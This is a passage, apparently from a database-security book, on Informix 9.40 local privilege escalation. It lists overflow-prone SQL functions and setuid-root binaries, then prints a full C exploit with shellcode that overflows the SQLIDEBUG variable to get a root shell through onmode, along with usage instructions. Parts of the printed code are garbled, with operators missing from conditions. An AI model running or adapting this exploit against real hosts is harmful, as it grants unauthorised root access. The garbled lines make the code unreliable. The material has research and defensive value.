Informix suffers from a number of buffer overflow vulnerabilities that can be exploited via SQL. Some of them we've already discussed, but other overflows known to be vulnerable in Informix 9.40 version 5 include:
DBINFO LOTOFILE FILETOCLOB SET DEBUG FILE ifx_file_to_file
By exploiting these overflows an attacker can execute code as the Informix user .
Before getting to the meat, it's important to remember that, while these attacks are described as local, remote users can take advantage of these, too, by using some of the shell vulnerabilities described earlier. When Informix is installed on Unix-based platforms a number of binaries have the setuid and setgid bits set. From Linux:
-rwsr-sr-x 1 root informix 13691 Sep 16 04:28 ifmxgcore -rwsr-sr-x 1 root informix 965461 Jan 13 14:23 onaudit -rwsr-sr-x 1 root informix 1959061 Jan 13 14:23 onbar_d -rwxr-sr-x 1 informix informix 1478387 Jan 13 14:22 oncheck -rwsr-sr-x 1 root informix 1887869 Sep 16 04:31 ondblog -rwsr-sr-x 1 root informix 1085766 Sep 16 04:29 onedcu -rwxr-sr-x 1 informix informix 552872 Sep 16 04:29 onedpu -rwsr-sr-- 1 root informix 10261553 Jan 13 14:23 oninit -rwxr-sr-x 1 informix informix 914079 Jan 13 14:22 onload -rwxr-sr-x 1 informix informix 1347273 Jan 13 14:22 onlog -rwsr-sr-x 1 root informix 1040156 Jan 13 14:23 onmode -rwsr-sr-x 1 root informix 2177089 Jan 13 14:23 onmonitor -rwxr-sr-x 1 informix informix 1221725 Jan 13 14:22 onparams -rwxr-sr-x 1 informix informix 2264683 Jan 13 14:22 onpload -rwsr-sr-x 1 root informix 956122 Jan 13 14:23 onshowaudit -rwsr-sr-x 1 root informix 1968948 Jan 13 14:23 onsmsync -rwxr-sr-x 1 informix informix 1218880 Jan 13 14:22 onspaces -rwxr-sr-x 1 informix informix 4037881 Jan 13 14:22 onstat -rwsr-sr-x 1 root informix 1650717 Jan 13 14:23 ontape -rwxr-sr-x 1 informix informix 914081 Jan 13 14:22 onunload -rwsr-sr-x 1 root informix 514323 Sep 16 04:32 sgidsh -rwxr-sr-x 1 informix informix 1080849 Sep 16 04:29 xtree
The ones of most interest are setuid root. In the past Informix has suffered from a number of local security problems with setuid root programs. Some include insecure temporary file creation, race conditions, and buffer overflows. Indeed 9.40.UC5TL still suffers from some issues. For example, if an overly long SQLDEBUG environment variable is set and an Informix program is run it will segfault. This is because they all share a common bit of code, where if SQLIDEBUG is set to
1:/path_to_debug_file
then the file is opened. A long pathname will overflow a stack-based buffer, allowing an attacker to run arbitrary code. Attacking onmode, for example, allows an attacker to gain root privileges. The following code demonstrates this:
#include <stdio.h> unsigned char GetAddress(char *address, int lvl); unsigned char shellcode[]= "\x31\xC0\x31\xDB\xb0\x17\x90\xCD\x80\x6A\x0B\x58\x99\x52\x68\x6E" "\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\x59\xCD\x80" "\xCC\xCC\xCC\xCC"; int main(int argc, char *argv[]) { unsigned char buffer[2000]=""; unsigned char sqlidebug[2000]="1:/"; unsigned char X = 0x61, cnt = 0; int count = 0; if(argc != 2) { printf("\n\n\tExploit for the Informix SQLIDEBUG overflow\n\n\t"); printf("Gets a rootshell via onmode\n\n\tUsage:\n\n\t"); printf("$ INFORMIXDIR=/opt/informix; export INFORMIXDIR\n\t"); printf("$ SQLIDEBUG=`%s address` ; export SQLIDEBUG\n\t$ onmode\n\t",argv[0]); printf("sh-2.05b# id\n\tuid=0(root) gid=500(litch) groups=500(litch)\n\n\t"); printf("\n\n\taddress is the likely address of the stack.\n\t"); printf("On Redhat/Fedora 2 it can be found c. FEFFF448\n\n\t"); printf("David Litchfield\n\t27th August 2004\n\t(davidl@ngssoftware.com)\n\n"); return 0; } while(count < 271) buffer[count++]=0x42; count = strlen(buffer); buffer[count++]=GetAddress(argv[1],6); buffer[count++]=GetAddress(argv[1],4); buffer[count++]=GetAddress(argv[1],2); buffer[count++]=GetAddress(argv[1],0); while(count < 1400) buffer[count++]=0x90; strcat(buffer,shellcode); strcat(sqlidebug,buffer); printf("%s",sqlidebug); return 0; } unsigned char GetAddress(char *address, int lvl) { char A = 0, B = 0; int len = 0; len = strlen(address); if(len !=8) return 0; if(lvl) if(lvl ==2 lvl ==4 lvl ==6 ) goto cont; else return 0; cont: A = (char)toupper((int)address[0+lvl]); B = (char)toupper((int)address[1+lvl]); if(A < 0x30) return 0; if(A < 0x40) A = A - 0x30; else { if(A > 0x46 A < 41) return 0; else A = A - 0x37; } if(B < 0x30) return 0; if(B < 0x40) B = B - 0x30; else { if(B > 0x46 B < 41) return 0; else B = B - 0x37; } A = (A * 0x10 + B); return A; }